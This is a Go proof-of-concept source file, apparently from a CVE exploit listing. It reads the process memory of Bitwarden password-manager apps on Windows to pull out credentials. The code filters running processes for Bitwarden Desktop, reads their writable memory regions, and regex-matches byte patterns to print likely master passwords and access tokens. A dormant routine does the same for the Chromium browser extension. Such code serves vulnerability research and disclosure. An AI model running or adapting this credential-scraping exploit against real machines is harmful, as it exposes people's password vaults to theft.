4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / lookups.go GO
package main

import (
	"bytes"
	"fmt"
	"regexp"
	"strings"
	"syscall"
	"unicode"

	"github.com/0xrawsec/golang-win32/win32"
	"github.com/0xrawsec/golang-win32/win32/kernel32"
	"github.com/shirou/gopsutil/v3/process"
)

// Original font pattern
// f.o.n.t.-.f.a.c.e.
var chromiumExtFontPattern = []byte{0x66, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00}
var desktopAppFontPattern = []byte{0x2f, 0x66, 0x6f, 0x6e, 0x74, 0x73, 0x2f, 0x4f, 0x70, 0x65, 0x6e, 0x5f, 0x53, 0x61, 0x6e, 0x73, 0x2d, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x2d, 0x38, 0x30, 0x30, 0x2e, 0x77, 0x6f, 0x66, 0x66}
var desktopAppCSSPattern = []byte{0x6c, 0x32, 0x2d, 0x70, 0x6f, 0x70, 0x75, 0x70, 0x2e, 0x73, 0x77, 0x61, 0x6c, 0x32, 0x2d, 0x74, 0x6f, 0x61, 0x73, 0x74, 0x7b, 0x66, 0x6c, 0x65, 0x78, 0x2d, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x3b, 0x61, 0x6c, 0x69, 0x67, 0x6e}
var testingPattern = []byte{0x7b, 0x22, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0x3a}

func getFilteredProcs(procList []*process.Process) ([]*targetProc, error) {
	// Create empty slice of struct pointers.
	allFilteredProcesses := []*targetProc{}

	for i := range procList {

		pid := procList[i].Pid
		exeName, _ := procList[i].Name()
		cmdLine, _ := procList[i].Cmdline()

		// Find process with specific exeName and specific child process (cmdLine)
		if exeName == BWDesktopEXEName && strings.Contains(cmdLine, BWDesktopCmdLine) {
			// Create struct and append it to the slice.
			p := new(targetProc)
			p.pidInt = pid
			p.exeName = exeName
			p.cmdLine = cmdLine
			// Append to emtpy slice
			allFilteredProcesses = append(allFilteredProcesses, p)
		}
	}

	if len(allFilteredProcesses) == 0 {
		return nil, fmt.Errorf("[!] Target process list emtpy!")
	}

	return allFilteredProcesses, nil
}

func searchProcessMemory(pid int, exe string) ([][]*resultStrings, error) {

	memStrings := [][]*resultStrings{}

	// Open the process with appropriate access rights
	da := uint32(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION)
	hProcess, err := syscall.OpenProcess(da, false, uint32(pid))
	if err != nil {
		return nil, err
	}
	defer kernel32.CloseHandle(win32.HANDLE(hProcess))

	fmt.Printf("[+] Searching PID memory (%d)\n", pid)

	// Search all accessible memory regions within process
	for mbi := range kernel32.AllVirtualQueryEx(win32.HANDLE(hProcess)) {
		// Filter by type, state, protection and regionsize
		// Docs: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information
		if mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE && mbi.Protect == PAGE_READWRITE && mbi.RegionSize < (1<<25) {
			// Bitwarden Desktop RegionSize: 0x14000
			// Bitwarden Chrome RegionSize: < (1 << 25)
			mem := make([]byte, mbi.RegionSize)
			lpAddress := win32.LPCVOID(mbi.BaseAddress)
			kernel32.ReadProcessMemory(win32.HANDLE(hProcess), lpAddress, mem)

			// Search for patterns in each memory region
			memRegionStrings := getBWDesktopByteStrings(pid, mem, mbi)
			//memRegionStrings := searchChromiumBytePattern(pid, mem, mbi)
			if len(memRegionStrings) > 0 {
				// Append everything to slice
				memStrings = append(memStrings, memRegionStrings)
			}

			//searchChromiumBytePattern(pid, mem, mbi)

			/*
				if exe == BWDesktopEXEName {
					memRegionStrings := getBWDesktopByteStrings(pid, mem, mbi)
					// Append everything to slice
					memStrings = append(memStrings, memRegionStrings)

					// Only works on older Chrome web browsers
					//} else {
					//	searchChromiumBytePattern(pid, mem, mbi)
				}
			*/
		}
	}
	return memStrings, nil
}

func getBWDesktopByteStrings(pid int, mem []byte, mbi win32.MemoryBasicInformation) []*resultStrings {

	// Check if known bytes exsits within memory region
	//if bytes.Contains(mem, desktopAppFontPattern) || bytes.Contains(mem, desktopAppCSSPattern) || bytes.Contains(mem, testingPattern) {
	out := []*resultStrings{}

	// Uses a regex pattern to find strings (only ASCII characters)
	// Note: when submitting a password with copy and paste, forces the
	// app to store the password using Windows UTF-16 (includes 0x00)
	r, err := regexp.Compile(BWDesktopRegexBytePattern)
	if err != nil {
		fmt.Printf("[!] Offset not found")
	}

	// Finds only the first occurance
	//patternOffsetAddr := r.FindIndex(mem)

	// Finds multiple occurances
	patternOffsetAddrBetter := r.FindAllIndex(mem, -1) // -1 specifies the end of object/bytes

	//fmt.Printf("[+] Offset: (0x%x)\n", passOffset)
	if len(patternOffsetAddrBetter) != 0 {
		fmt.Printf("[+] Found initial pattern\n")
		fmt.Printf("[+] Memory region: 0x%x - 0x%x\n", mbi.BaseAddress, mbi.BaseAddress+mbi.RegionSize)
		fmt.Printf("[+] Region size: 0x%x\n", mbi.RegionSize)
		// Print the number of hits
		fmt.Printf("[+] No. of hits: %d \n\n", len(patternOffsetAddrBetter))

		for i, val := range patternOffsetAddrBetter {
			//fmt.Printf("Index: %d = %x\n", i, v[0])
			str := bytes.NewBuffer(mem[val[0]+4 : val[1]]).String() // start after the password prefix
			isDefaultStr := false

			for _, str2 := range StaticBWStrings {
				// Exclude known Bitwarden strings
				if strings.Contains(str, str2) {
					isDefaultStr = true
					break
				}
			}

			// skip certain strings
			if len(str) < 12 || !isASCII(str) {
				continue
			}

			if isDefaultStr {
				continue
			}
			if verboseOption {
				fmt.Printf("%s\n", str) // show all the strings matched
			}

			item := new(resultStrings)
			item.memRegion = uint64(mbi.BaseAddress)
			item.memSize = int32(mbi.RegionSize)
			item.index = i
			item.startOffset = val[0]
			item.endOffset = val[1]
			item.str = str

			out = append(out, item)
			//fmt.Printf("Index: %d with Offset: 0x%x = %s\n", i, v[0], str3)

		}

		return out

	}

	return nil

}

// Dead code
func searchChromiumBytePattern(pid int, mem []byte, mbi win32.MemoryBasicInformation) []*resultStrings {

	//fmt.Printf("[+] Found pattern at MemBaseAddr (0x%x)\n", mbi.BaseAddress)
	out := []*resultStrings{}

	// Write memory regions to a file
	if dumpMemoryOption {
		writeMemoryRegions(pid, mbi.BaseAddress, mem)
	}

	// Search for password prefix pattern: 04 00 00 00 ?? 00 00 00 01
	r, err := regexp.Compile(BWChromeRegexBytePattern)
	if err != nil {
		fmt.Printf("[!] Offset not found")
	}

	//patternOffsetAddr2 := r.FindIndex(mem)
	patternOffsetAddr := r.FindAllIndex(mem, -1)

	if len(patternOffsetAddr) != 0 {
		// Extract password length and offset
		// Pattern: 04 00 00 00 XX 00 00 00 01
		//passLenOffset := patternOffsetAddr[0] + 4
		//passOffset := patternOffsetAddr[0] + 12
		//passLen := mem[passLenOffset]

		//str := bytes.NewBuffer(mem[passOffset : passOffset+int(passLen)]).String()

		//fmt.Printf("[+] Found password prefix bytes at offset (0x%04x)\n", patternOffsetAddr[0])
		//fmt.Printf("[+] Found password length (0x%02x) or %d characters\n", passLen, passLen)

		// Bitwarden web registeration has a minimum 8 characters
		// for master password and filter out non-ASCII characters
		//if passLen >= 8 && isASCII(str) {

		//	fmt.Printf("[+] Password: %s\n\n", str)
		//} else {
		//	fmt.Printf("[!] Contains non-ASCII characters, skipping...\n\n")
		//}

		for i, val := range patternOffsetAddr {
			//fmt.Printf("Index: %d = %x\n", i, v[0])
			//passLenOffset := bytes.NewBuffer(mem[val[0]+4 : val[0]+5])
			//ddddd := mem[val[0]+4 : val[0]+5]
			passLen := int(mem[val[0]+4 : val[0]+5][0])
			//fmt.Println(passLen)

			str := bytes.NewBuffer(mem[val[0]+12 : val[0]+12+passLen]).String()

			// skip certain strings
			if passLen < 12 || !isASCII(str) {
				continue
			}

			//fmt.Println(str)

			isDefaultStr := false

			for _, str2 := range StaticBWStrings {
				// Exclude known Bitwarden strings
				if strings.Contains(str, str2) {
					isDefaultStr = true
					break
				}
			}

			if isDefaultStr {
				continue
			}
			if verboseOption {
				fmt.Printf("[TEST] %s\n", str) // show all the strings matched
			}

			//fmt.Println(str)

			item := new(resultStrings)
			item.memRegion = uint64(mbi.BaseAddress)
			item.memSize = int32(mbi.RegionSize)
			item.index = i
			item.startOffset = val[0]
			item.endOffset = val[1]
			item.str = str

			out = append(out, item)
			//fmt.Printf("Index: %d with Offset: 0x%x = %s\n", i, v[0], str3)

		}

		return out

	}

	return nil

}

// Source: https://stackoverflow.com/questions/53069040/checking-a-string-contains-only-ascii-characters
func isASCII(s string) bool {
	for i := 0; i < len(s); i++ {
		if s[i] > unicode.MaxASCII {
			return false
		}
	}
	return true
}